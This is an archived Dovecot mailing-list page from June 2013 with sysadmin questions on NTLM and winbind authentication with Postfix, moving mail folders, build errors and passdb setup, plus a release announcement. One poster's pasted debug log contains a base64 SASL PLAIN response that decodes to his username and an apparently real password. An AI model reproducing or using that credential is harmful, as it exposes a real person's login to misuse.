delays=0.09/0/0.15/0.69, dsn=2.0.0, status=sent (250 2.0.0 OK 1372291329 y9si419401pay.83 - gsmtp) Jun 26 17:02:09 SBSMTPNV05 postfix/qmgr[1999]: AE80A80592: removed ---------------------------------------------- ---- log file from plain text mechanism ----- Jun 26 17:01:08 SBSMTPNV05 postfix/smtpd[2209]: connect from nvit01b.mydomain.com[10.20.2.0] Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: Loading modules from directory: /usr/lib64/dovecot/auth Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libauthdb_ldap.so Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libdriver_sqlite.so Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libmech_gssapi.so Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: auth client connected (pid=2209) Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: client in: AUTH#0111#011PLAIN#011service=smtp#011nologin#011lip=10.20.4.12#011rip=10.20.2.0#011secured#011resp=AG1sYXJzZW4ASWRvbnR3YW50Mg== Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: Loading modules from directory: /usr/lib64/dovecot/auth Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libauthdb_ldap.so Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libdriver_sqlite.so Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libmech_gssapi.so Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: pam(myusername,10.20.2.0): lookup service=dovecot Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: pam(myusername,10.20.2.0): #1/1 style=1 msg=Password: Jun 26 17:01:09 SBSMTPNV05 dovecot: auth: Debug: client out: OK#0111#011user=myusername Jun 26 17:01:09 SBSMTPNV05 postfix/smtpd[2209]: 82C3780592: client=nvit01b.mydomain.com[10.20.2.0], sasl_method=PLAIN, sasl_username=myusername Jun 26 17:01:09 SBSMTPNV05 postfix/cleanup[2219]: 82C3780592: message-id=<51CB80C4.6020107(a)example.com> Jun 26 17:01:09 SBSMTPNV05 postfix/qmgr[1999]: 82C3780592: from=<matthew(a)example.com>, size=2728, nrcpt=1 (queue active) Jun 26 17:01:09 SBSMTPNV05 postfix/smtpd[2209]: disconnect from nvit01b.mydomain.com[10.20.2.0] Jun 26 17:01:10 SBSMTPNV05 postfix/smtp[2220]: 82C3780592: to=<utegrad(a)gmail.com>, relay=gmail-smtp-in.l.google.com[74.125.129.27]:25, delay=1.3, delays=0.05/0.04/0.46/0.74, dsn=2.0.0, status=sent (250 2.0.0 OK 1372291270 sb1si125565pbb.232 - gsmtp) Jun 26 17:01:10 SBSMTPNV05 postfix/qmgr[1999]: 82C3780592: removed --------------------------------------------- Here's some of the supporting configuration information: ---- postconf -n ----------- alias_database = hash:/etc/aliases alias_maps = hash:/etc/aliases command_directory = /usr/sbin config_directory = /etc/postfix daemon_directory = /usr/libexec/postfix data_directory = /var/lib/postfix debug_peer_level = 1 debug_peer_list = html_directory = no inet_interfaces = all inet_protocols = ipv4 line_length_limit = 6144 mail_owner = postfix mailq_path = /usr/bin/mailq.postfix manpage_directory = /usr/share/man mydestination = $myhostname, localhost.$mydomain, localhost myhostname = srvsbsmtp05.mydomain.com newaliases_path = /usr/bin/newaliases.postfix queue_directory = /var/spool/postfix readme_directory = /usr/share/doc/postfix-2.6.6/README_FILES sample_directory = /usr/share/doc/postfix-2.6.6/samples sendmail_path = /usr/sbin/sendmail.postfix setgid_group = postdrop smtpd_recipient_restrictions = permit_sasl_authenticated,reject_unauth_destination smtpd_sasl_auth_enable = yes smtpd_sasl_path = private/auth smtpd_sasl_security_options = noanonymous,noplaintext smtpd_sasl_type = dovecot unknown_local_recipient_reject_code = 550 ---------------------------------- ---- doveconf -n ---- # 2.0.9: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-358.11.1.el6.x86_64 x86_64 CentOS release 6.4 (Final) auth_debug_passwords = yes auth_mechanisms = plain gssapi ntlm login auth_use_winbind = yes listen = * mbox_write_locks = fcntl passdb { driver = pam } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } } ssl_cert = </etc/pki/dovecot/certs/dovecot.pem ssl_key = </etc/pki/dovecot/private/dovecot.pem userdb { driver = passwd } ----------------------- ---- Samba configuration ---- [global] workgroup = MYDOMAIN realm = MYDOMAIN.COM server string = Samba Server Version %v security = ADS kerberos method = system keytab log file = /var/log/samba/log.%m max log size = 50 printcap name = /dev/null domain master = No template shell = /bin/bash winbind separator = + winbind use default domain = Yes idmap config * : range = 10000-50000 idmap config * : backend = tdb printing = bsd cups options = raw print command = lpr -r -P'%p' %s lpq command = lpq -P'%p' lprm command = lprm -P'%p' %j ------------------------------

2 3

[Dovecot] Changing location of vmail folder, mail started downloading again
by Manoj Singh 27 Jun '13

27 Jun '13

Dear Team, Due to some reasons I need to move vmail folder to another drive. I tried to do rsync & I was able to copy all the files and structure with same old date and time stamp. I made symbolic link and new mail flow was fine but problem is, all the mail boxes started downloading old mails again . Is there any way where I can copy location of the folder without this problem. Please find the below details. Dovecot Version =============== dovecot-pigeonhole-0.2.6-21.el6.x86_64 dovecot-2.0.18-1_134.el6.x86_64 dovecot-managesieve-0.2.6-21.el6.x86_64 # dovecot –n # 2.0.18: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-279.el6.x86_64 x86_64 CentOS release 6.3 (Final) auth_mechanisms = PLAIN LOGIN dict { acl = mysql:/etc/dovecot/dovecot-share-folder.conf expire = db:/var/lib/dovecot/expire/expire.db quotadict = mysql:/etc/dovecot/dovecot-used-quota.conf } last_valid_uid = 500 listen = * log_path = /var/log/dovecot.log mail_gid = 500 mail_location = maildir:/%Lh/Maildir/:INDEX=/%Lh/Maildir/ mail_uid = 500 managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace { inbox = yes location = prefix = separator = / type = private } namespace { list = children location = maildir:/%%Lh/Maildir/:INDEX=/%%Lh/Maildir/Shared/%%u prefix = Shared/%%u/ separator = / subscriptions = yes type = shared } passdb { args = /etc/dovecot/dovecot-ldap.conf driver = ldap } plugin { acl = vfile acl_shared_dict = proxy::acl auth_socket_path = /var/run/dovecot/auth-master autocreate = INBOX autocreate2 = Sent autocreate3 = Trash autocreate4 = Drafts autocreate5 = Junk autosubscribe = INBOX autosubscribe2 = Sent autosubscribe3 = Trash autosubscribe4 = Drafts autosubscribe5 = Junk expire = Trash 7 Trash/* 7 Junk 30 expire_dict = proxy::expire quota = dict:user::proxy::quotadict quota_rule = *:storage=1G quota_warning = storage=85%% quota-warning 85 %u quota_warning2 = storage=90%% quota-warning 90 %u quota_warning3 = storage=95%% quota-warning 95 %u sieve = /%Lh/sieve/dovecot.sieve sieve_dir = /%Lh/sieve sieve_global_dir = /var/vmail/sieve sieve_global_path = /var/vmail/sieve/dovecot.sieve } protocols = pop3 imap sieve service auth { unix_listener /var/spool/postfix/dovecot-auth { group = postfix mode = 0666 user = postfix } unix_listener auth-master { group = vmail mode = 0666 user = vmail } unix_listener auth-userdb { group = vmail mode = 0660 user = vmail } } service dict { unix_listener dict { group = vmail mode = 0660 user = vmail } } service quota-warning { executable = script /usr/local/bin/dovecot-quota-warning.sh unix_listener quota-warning { group = vmail mode = 0660 user = vmail } } ssl = required ssl_cert = </etc/pki/tls/certs/iRedMail_CA.pem ssl_key = </etc/pki/tls/private/iRedMail.key userdb { args = /etc/dovecot/dovecot-ldap.conf driver = ldap } protocol lda { auth_socket_path = /var/run/dovecot/auth-master lda_mailbox_autocreate = yes log_path = /var/log/sieve.log mail_plugins = quota sieve autocreate postmaster_address = root } protocol imap { imap_client_workarounds = tb-extra-mailbox-sep mail_plugins = quota imap_quota autocreate } protocol pop3 { mail_plugins = quota pop3_client_workarounds = outlook-no-nuls oe-ns-eoh pop3_uidl_format = %08Xu%08Xv } Thanks in advance, Manoj Singh.

1 0

[Dovecot] NTLM authentication mechanism with Postfix
by Matthew Larsen 27 Jun '13

27 Jun '13

I'm working on getting authentication for Postfix smtpd clients working with Dovecot. I've got both plain text and GSSAPI mechanisms working. Winbind also works for shell access and the command line test work fine. If I can get NTLM authentication working I can use Postfix as a drop in replacement for a MS MTA I want get rid of. I'm hoping the community might be able to offer some insight into what I'm missing to get NTLM authentication working with Dovecot and Postfix. Something related to winbind I suspect. When I use the NTLM mechanism I get this in my maillog file. Nothing seems to show up in the winbind files for this. ---- log file from NTLM mechanism used ---- Jun 26 17:02:53 SBSMTPNV05 postfix/smtpd[2221]: connect from nvit01b.mydomain.com[10.20.2.0] Jun 26 17:02:53 SBSMTPNV05 dovecot: auth: Debug: client in: AUTH#0112#011NTLM#011service=smtp#011nologin#011lip=10.20.4.12#011rip=10.20.2.0#011resp=TlRM...A= Jun 26 17:02:53 SBSMTPNV05 dovecot: auth: Debug: client out: CONT#0112#011TlRM....A Jun 26 17:02:53 SBSMTPNV05 dovecot: auth: Debug: client in: CONT#0112#011TlRM....Q= Jun 26 17:02:53 SBSMTPNV05 dovecot: auth: winbind(?,10.20.2.0): user not authenticated: NT_STATUS_UNSUCCESSFUL Jun 26 17:02:55 SBSMTPNV05 postfix/smtpd[2221]: warning: nvit01b.mydomain.com[10.20.2.0]: SASL NTLM authentication failed: TlRM....A Jun 26 17:02:55 SBSMTPNV05 dovecot: auth: Debug: client out: FAIL#0112 Jun 26 17:02:59 SBSMTPNV05 postfix/smtpd[2221]: disconnect from nvit01b.mydomain.com[10.20.2.0] ------------------------------------------ ---- log file from GSSAPI mechanism used ----- Jun 26 17:02:08 SBSMTPNV05 postfix/smtpd[2221]: connect from nvit01b.mydomain.com[10.20.2.0] Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: auth client connected (pid=2221) Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: client in: AUTH#0111#011GSSAPI#011service=smtp#011nologin#011lip=10.20.4.12#011rip=10.20.2.0#011resp=YIIN.... Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: ....g== Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: gssapi(?,10.20.2.0): Obtaining credentials for smtp@ Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: gssapi(myusername(a)MYDOMAIN.COM,10.20.2.0): security context state completed. Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: client out: CONT#0111#011YIGVB....E= Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: client in: CONT#0111#011 Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: gssapi(myusername(a)MYDOMAIN.COM,10.20.2.0): Negotiated security layer Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: client out: CONT#0111#011BQQF/w....M= Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: client in: CONT#0111#011BQQE/w....u Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: client out: OK#0111#011user=myusername Jun 26 17:02:08 SBSMTPNV05 postfix/smtpd[2221]: AE80A80592: client=nvit01b.mydomain.com[10.20.2.0], sasl_method=GSSAPI, sasl_username=myusername Jun 26 17:02:08 SBSMTPNV05 postfix/cleanup[2219]: AE80A80592: message-id=<51CB8100.1010103(a)example.com> Jun 26 17:02:08 SBSMTPNV05 postfix/qmgr[1999]: AE80A80592: from=<matthew(a)example.com>, size=2178, nrcpt=1 (queue active) Jun 26 17:02:08 SBSMTPNV05 postfix/smtpd[2221]: disconnect from nvit01b.mydomain.com[10.20.2.0] Jun 26 17:02:09 SBSMTPNV05 postfix/smtp[2220]: AE80A80592: to=<utegrad(a)gmail.com>, relay=gmail-smtp-in.l.google.com[74.125.129.27]:25, delay=0.93, delays=0.09/0/0.15/0.69, dsn=2.0.0, status=sent (250 2.0.0 OK 1372291329 y9si419401pay.83 - gsmtp) Jun 26 17:02:09 SBSMTPNV05 postfix/qmgr[1999]: AE80A80592: removed ---------------------------------------------- ---- log file from plain text mechanism ----- Jun 26 17:01:08 SBSMTPNV05 postfix/smtpd[2209]: connect from nvit01b.mydomain.com[10.20.2.0] Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: Loading modules from directory: /usr/lib64/dovecot/auth Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libauthdb_ldap.so Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libdriver_sqlite.so Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libmech_gssapi.so Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: auth client connected (pid=2209) Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: client in: AUTH#0111#011PLAIN#011service=smtp#011nologin#011lip=10.20.4.12#011rip=10.20.2.0#011secured#011resp=AG1sYXJzZW4ASWRvbnR3YW50Mg== Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: Loading modules from directory: /usr/lib64/dovecot/auth Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libauthdb_ldap.so Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libdriver_sqlite.so Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libmech_gssapi.so Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: pam(myusername,10.20.2.0): lookup service=dovecot Jun 26 17:01:08 SBSMTPNV05 dovecot: auth: Debug: pam(myusername,10.20.2.0): #1/1 style=1 msg=Password: Jun 26 17:01:09 SBSMTPNV05 dovecot: auth: Debug: client out: OK#0111#011user=myusername Jun 26 17:01:09 SBSMTPNV05 postfix/smtpd[2209]: 82C3780592: client=nvit01b.mydomain.com[10.20.2.0], sasl_method=PLAIN, sasl_username=myusername Jun 26 17:01:09 SBSMTPNV05 postfix/cleanup[2219]: 82C3780592: message-id=<51CB80C4.6020107(a)example.com> Jun 26 17:01:09 SBSMTPNV05 postfix/qmgr[1999]: 82C3780592: from=<matthew(a)example.com>, size=2728, nrcpt=1 (queue active) Jun 26 17:01:09 SBSMTPNV05 postfix/smtpd[2209]: disconnect from nvit01b.mydomain.com[10.20.2.0] Jun 26 17:01:10 SBSMTPNV05 postfix/smtp[2220]: 82C3780592: to=<utegrad(a)gmail.com>, relay=gmail-smtp-in.l.google.com[74.125.129.27]:25, delay=1.3, delays=0.05/0.04/0.46/0.74, dsn=2.0.0, status=sent (250 2.0.0 OK 1372291270 sb1si125565pbb.232 - gsmtp) Jun 26 17:01:10 SBSMTPNV05 postfix/qmgr[1999]: 82C3780592: removed --------------------------------------------- Here's some of the supporting configuration information: ---- postconf -n ----------- alias_database = hash:/etc/aliases alias_maps = hash:/etc/aliases command_directory = /usr/sbin config_directory = /etc/postfix daemon_directory = /usr/libexec/postfix data_directory = /var/lib/postfix debug_peer_level = 1 debug_peer_list = html_directory = no inet_interfaces = all inet_protocols = ipv4 line_length_limit = 6144 mail_owner = postfix mailq_path = /usr/bin/mailq.postfix manpage_directory = /usr/share/man mydestination = $myhostname, localhost.$mydomain, localhost myhostname = srvsbsmtp05.mydomain.com newaliases_path = /usr/bin/newaliases.postfix queue_directory = /var/spool/postfix readme_directory = /usr/share/doc/postfix-2.6.6/README_FILES sample_directory = /usr/share/doc/postfix-2.6.6/samples sendmail_path = /usr/sbin/sendmail.postfix setgid_group = postdrop smtpd_recipient_restrictions = permit_sasl_authenticated,reject_unauth_destination smtpd_sasl_auth_enable = yes smtpd_sasl_path = private/auth smtpd_sasl_security_options = noanonymous,noplaintext smtpd_sasl_type = dovecot unknown_local_recipient_reject_code = 550 ---------------------------------- ---- doveconf -n ---- # 2.0.9: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-358.11.1.el6.x86_64 x86_64 CentOS release 6.4 (Final) auth_debug_passwords = yes auth_mechanisms = plain gssapi ntlm login auth_use_winbind = yes listen = * mbox_write_locks = fcntl passdb { driver = pam } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } } ssl_cert = </etc/pki/dovecot/certs/dovecot.pem ssl_key = </etc/pki/dovecot/private/dovecot.pem userdb { driver = passwd } ----------------------- ---- Samba configuration ---- [global] workgroup = MYDOMAIN realm = MYDOMAIN.COM server string = Samba Server Version %v security = ADS kerberos method = system keytab log file = /var/log/samba/log.%m max log size = 50 printcap name = /dev/null domain master = No template shell = /bin/bash winbind separator = + winbind use default domain = Yes idmap config * : range = 10000-50000 idmap config * : backend = tdb printing = bsd cups options = raw print command = lpr -r -P'%p' %s lpq command = lpq -P'%p' lprm command = lprm -P'%p' %j ------------------------------

1 0

[Dovecot] Passdb + single sing on + NTLM + Thunderbird.
by Maria Jose Yañez Dacosta 27 Jun '13

27 Jun '13

Hi!, I want to use single sign on from Windows with Thunderbird or Outlook using NTLM. Which should be placed in the configuration file for passdb?. Currently I have: passdb { driver = pam } But it generates the following error when trying to check mail: dovecot: auth: pam (pepe, 190 108 101 120): unknown user If I remove imap passdb just does not work and I add at the end of this mail the log. Thank :) ----------------( dovecot -n )------------------------------ # 2.0.9: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-358.6.2.el6.x86_64 x86_64 CentOS release 6.4 (Final) auth_debug = yes auth_mechanisms = plain login ntlm auth_use_winbind = yes auth_username_format = %n disable_plaintext_auth = no mbox_write_locks = fcntl passdb { driver = pam } protocols = imap pop3 ssl = no userdb { args = uid=10000 gid=10000 home=/mail/%d/%n driver = static } ----------------( wbinfo -t )------------------------------ checking the trust secret for domain FNR via RPC calls succeeded ----------------( wbinfo -u )------------------------------ list all users ----------------( wbinfo -g )------------------------------ list all groups ------------( /usr/bin/ntlm_auth --username=pepe )--------- password: NT_STATUS_OK: Success (0x0) ------------( tail -n 500 -f /var/log/maillog )------------- Jun 26 14:58:41 prueba-mail dovecot: master: Dovecot v2.0.9 starting up (core dumps disabled) Jun 26 14:59:00 prueba-mail dovecot: auth: Debug: Loading modules from directory: /usr/lib64/dovecot/auth Jun 26 14:59:00 prueba-mail dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libauthdb_ldap.so Jun 26 14:59:00 prueba-mail dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libdriver_sqlite.so Jun 26 14:59:00 prueba-mail dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libmech_gssapi.so Jun 26 14:59:00 prueba-mail dovecot: auth: Fatal: No passdbs specified in configuration file. LOGIN mechanism needs one Jun 26 14:59:00 prueba-mail dovecot: master: Error: service(auth): command startup failed, throttling Jun 26 14:59:35 prueba-mail dovecot: imap-login: Error: Timeout waiting for handshake from auth server. my pid=1734, input bytes=0 Jun 26 15:00:00 prueba-mail dovecot: auth: Debug: Loading modules from directory: /usr/lib64/dovecot/auth Jun 26 15:00:00 prueba-mail dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libauthdb_ldap.so Jun 26 15:00:00 prueba-mail dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libdriver_sqlite.so Jun 26 15:00:00 prueba-mail dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libmech_gssapi.so Jun 26 15:00:00 prueba-mail dovecot: auth: Fatal: No passdbs specified in configuration file. LOGIN mechanism needs one Jun 26 15:00:00 prueba-mail dovecot: master: Error: service(auth): command startup failed, throttling Jun 26 15:00:30 prueba-mail dovecot: imap-login: Error: Timeout waiting for handshake from auth server. my pid=1734, input bytes=0 -- Maria José

2 1

[Dovecot] Dovecot-2.2.4 compiled error‏
by LauJacky 26 Jun '13

26 Jun '13

I compiled dovecot error, google did not find a solution. and I don't understand the code, how can i do Compiled dovecot-2.2.4 in "Linux OLinux 2.6.32-200.13.1.el5uek #1 SMP Wed Jul 27 21:02:33 EDT 2011 x86_64 x86_64 x86_64 GNU/Linux "environment variables : #CPPFLAGS="-I/usr/include/openssl" LDFLAGS="-L/usr/lib/openssl" ./configure --with-ldap #make........gcc -DHAVE_CONFIG_H -I. -I../.. -I../../src/lib -I../../src/lib-settings -I../../src/lib-master -DPKG_RUNDIR=\""/usr/local/var/run/dovecot"\" -DPKG_STATEDIR=\""/usr/local/var/lib/dovecot"\" -DPKG_LIBEXECDIR=\""/usr/local/libexec/dovecot"\" -DBINDIR=\""/usr/local/bin"\" -I/usr/include/openssl -std=gnu99 -g -O2 -Wall -W -Wmissing-prototypes -Wmissing-declarations -Wpointer-arith -Wchar-subscripts -Wformat=2 -Wbad-function-cast -fno-builtin-strftime -Wstrict-aliasing=2 -I/usr/kerberos/include -MT capabilities-posix.o -MD -MP -MF .deps/capabilities-posix.Tpo -c -o capabilities-posix.o capabilities-posix.cIn file included from /usr/include/sys/capability.h:34, from capabilities-posix.c:8:/usr/include/linux/capability.h:73: error: expected specifier-qualifier-list before â€˜__le32â€™make[3]: *** [capabilities-posix.o] Error 1make[3]: Leaving directory `/home/ldf/dovecot-2.2.4/src/master'make[2]: *** [all-recursive] Error 1make[2]: Leaving directory `/home/ldf/dovecot-2.2.4/src'make[1]: *** [all-recursive] Error 1make[1]: Leaving directory `/home/ldf/dovecot-2.2.4'make: *** [all] Error 2 Best regardjacky

1 1

[Dovecot] v2.1.17 released
by Timo Sirainen 26 Jun '13

26 Jun '13

http://dovecot.org/releases/2.1/dovecot-2.1.17.tar.gz http://dovecot.org/releases/2.1/dovecot-2.1.17.tar.gz.sig Hopefully among the last v2.1.x releases. + zlib: Keep the last read mail uncompressed in a temporary file. This significantly improves performance when IMAP client does small partial fetches for a large mail. + acl: Optionally get default ACL's for private/shared namespaces from user's INBOX (plugin { acl_defaults_from_inbox = yes } - Case-insensitive unicode character comparisons weren't all working as they should. - maildir: Fixed handling over 26 keywords in a mailbox. - auth: Don't crash in non-PLAIN/LOGIN auth mechanism if master user login is attempted without any master passdbs configured.

1 0

[Dovecot] NTLM authentication with dovecot.
by Maria Jose Yañez Dacosta 26 Jun '13

26 Jun '13

Hi!, I'm trying to use single sign on from Windows. Install dovecot on CentOS 6. The host name is prueba-mail. I'm using version 2.0.9 because the latest 64-bit gives errors. But first I wanted to test whether user validation works with telnet. When I try to try "telnet prueba-mail imap" and try to "a1 LOGIN MyUsername MyPassword", I get the following error:prueba-mail dovecot: auth: pam(pepe,190.108.101.120): unknown user. I show my setup and I appreciate even the minimal support. ----------------( dovecot --version )------------------------ dovecot --version ----------------( dovecot -n )------------------------------ # 2.0.9: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-358.6.2.el6.x86_64 x86_64 CentOS release 6.4 (Final) auth_debug = yes auth_mechanisms = plain login ntlm auth_use_winbind = yes auth_username_format = %n disable_plaintext_auth = no mbox_write_locks = fcntl passdb { driver = pam } protocols = imap pop3 ssl = no userdb { args = uid=10000 gid=10000 home=/mail/%d/%n driver = static } ----------------( wbinfo -t )------------------------------ checking the trust secret for domain FNR via RPC calls succeeded ----------------( wbinfo -u )------------------------------ list all users ----------------( wbinfo -g )------------------------------ list all groups ------------( /usr/bin/ntlm_auth --username=pepe )--------- password: NT_STATUS_OK: Success (0x0) ------------( tail -n 500 -f /var/log/maillog )------------- Jun 26 14:02:04 prueba-mail dovecot: master: Dovecot v2.0.9 starting up (core dumps disabled) Jun 26 14:03:22 prueba-mail dovecot: auth: Debug: Loading modules from directory: /usr/lib64/dovecot/auth Jun 26 14:03:22 prueba-mail dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libauthdb_ldap.so Jun 26 14:03:22 prueba-mail dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libdriver_sqlite.so Jun 26 14:03:22 prueba-mail dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libmech_gssapi.so Jun 26 14:03:22 prueba-mail dovecot: auth: Debug: auth client connected (pid=1691) Jun 26 14:03:39 prueba-mail dovecot: auth: Debug: client in: AUTH#0111#011PLAIN#011service=imap#011lip=190.108.101.200#011rip=190.108.101.120#011lport=143#011rport=38118#011resp=<hidden> Jun 26 14:03:39 prueba-mail dovecot: auth: Debug: Loading modules from directory: /usr/lib64/dovecot/auth Jun 26 14:03:39 prueba-mail dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libauthdb_ldap.so Jun 26 14:03:39 prueba-mail dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libdriver_sqlite.so Jun 26 14:03:39 prueba-mail dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libmech_gssapi.so Jun 26 14:03:39 prueba-mail dovecot: auth: Debug: pam(pepe,190.108.101.120): lookup service=dovecot Jun 26 14:03:39 prueba-mail dovecot: auth: Debug: pam(pepe,190.108.101.120): #1/1 style=1 msg=Password: Jun 26 14:03:42 prueba-mail dovecot: auth: pam(pepe,190.108.101.120): unknown user Jun 26 14:03:44 prueba-mail dovecot: auth: Debug: client out: FAIL#0111#011user=pepe Jun 26 14:06:22 prueba-mail dovecot: imap-login: Disconnected: Inactivity (auth failed, 1 attempts): user=<pepe>, method=PLAIN, rip=190.108.101.120, lip=190.108.101.200 -- Maria José

1 0

[Dovecot] How to manage email with an ISP restricted mailbox size?
by Tom Atkins 26 Jun '13

26 Jun '13

Sorry if this is a bit off topic but I'm hoping list members here might have some ideas. Aim: use ISP provided email with restricted inbox size but keep an IMAP accessible archive of emails (including 'sent' messages) on a remote server. Scenario: - Don't want to run my own SMTP server - Have free ISP email with 1Gb mailbox limit and spam filtering that works well - Have remote server with plenty of disk space - Want to use remote server for IMAP access to archive of email to avoid 1Gb ISP mailbox limit Options I tried: 1. Use ISP email via IMAP and periodically backup / archive messages to remote server with something like mbsync / isync to maildir format. Delete old messages on ISP server safe in knowledge they are backed up on my server. QUESTION: how to access those archives via IMAP (read only is OK)? 2. Use ISP email for sending messages only. Use Getmail / Fetchmail to move messages to remote server and run Dovecot there. I tried using Getmail to do this but couldn't figure out how to keep copies of 'Sent' and 'Draft' messages if the email client was configured to read via IMAP on one server and send via SMTP to another server. Any thoughts on how best to achieve my aims? Thanks, Tom.

2 1

[Dovecot] Help installing Dovecot 1.0 on Debian 6.0.7
by Roshan Dawrani 26 Jun '13

26 Jun '13

Hi, Could someone please let me know if I can get the pre-built binaries for Dovecot 1.0 for Debian 6.0? If I do "apt-get install dovecot...", I am getting Dovecot v1.2.5 installed, but it doesn't like the existing Dovecot 1.0 configuration I have, and due to some urgency, I am trying to avoid migrating the configuration to the new structure / requirements. Regards, Roshan

4 5

[Dovecot] /etc/passwd Centos + dovecot
by Dejan Doder 26 Jun '13

26 Jun '13

Hi group , I use system users with passwords defined in /etc/passwd. How can users change their passwords ? BR Dejan

5 4

[Dovecot] Dovecot 2 and managesieve
by Darek 25 Jun '13

25 Jun '13

Having some difficulty finding out whether managesieve is still a separate package (not seeing it in the FreeBSD ports tree, only one for 1.x) or whether it was integrated into the main 2.x package. I've only been using 1.2.x up to now, and trying to document a system install. So is it in the main distribution now? -- Darek

2 1

[Dovecot] NTLM Authentication with Dovecot and Postfix
by Matthew Larsen 25 Jun '13

25 Jun '13

I'm trying to get NTLM authentication working with Dovecot to authenticate Postfix SMTP clients. I can authenticate postfix smtp clients using the plain text login mechanism via Dovecot and winbind. However, using the NTLM mechanism gives me an error in my maillog that says: "dovecot: auth: winbind(?,10.20.2.0): user not authenticated: NT_STATUS_UNSUCCESSFUL". At this point, I'm rather stuck. It appears PAM and winbind work for authenticating with AD because it works with the plain text mechanism, but I'm missing something with the NTLM authentication method. Any suggestions as to what I've got wrong, or other logging I can turn up / examine that might shed some light on this? /// Logging and configuration information below /// -- When I use the LOGIN mechanism I see this in the mail logging and the message is relayed: Jun 21 13:12:58 SBSMTPNV05 postfix/smtpd[1501]: connect from nvit01b.mydomain.com[10.20.2.0] Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: auth client connected (pid=1501) Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: client in: AUTH#0111#011PLAIN#011service=smtp#011nologin#011lip=10.20.4.12#011rip=10.20.2.0#011resp=AG[...snip...]g== Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: pam(myusername,10.20.2.0): lookup service=dovecot Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: pam(myusername,10.20.2.0): #1/1 style=1 msg=Password: Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: client out: OK#0111#011user=myusername Jun 21 13:12:58 SBSMTPNV05 postfix/smtpd[1501]: 54EAF8059B: client=nvit01b.mydomain.com[10.20.2.0], sasl_method=PLAIN, sasl_username=myusername Jun 21 13:12:58 SBSMTPNV05 postfix/cleanup[1504]: 54EAF8059B: message-id=<51C4B3C8.30008(a)domain1.com> Jun 21 13:12:58 SBSMTPNV05 postfix/qmgr[1499]: 54EAF8059B: from=<someone(a)domain1.com>, size=2700, nrcpt=1 (queue active) Jun 21 13:12:58 SBSMTPNV05 postfix/smtpd[1501]: disconnect from nvit01b.mydomain.com[10.20.2.0] Jun 21 13:12:59 SBSMTPNV05 postfix/smtp[1505]: 54EAF8059B: to=<someone(a)gmail.com>, relay=gmail-smtp-in.l.google.com[74.125.25.27]:25, delay=1.2, 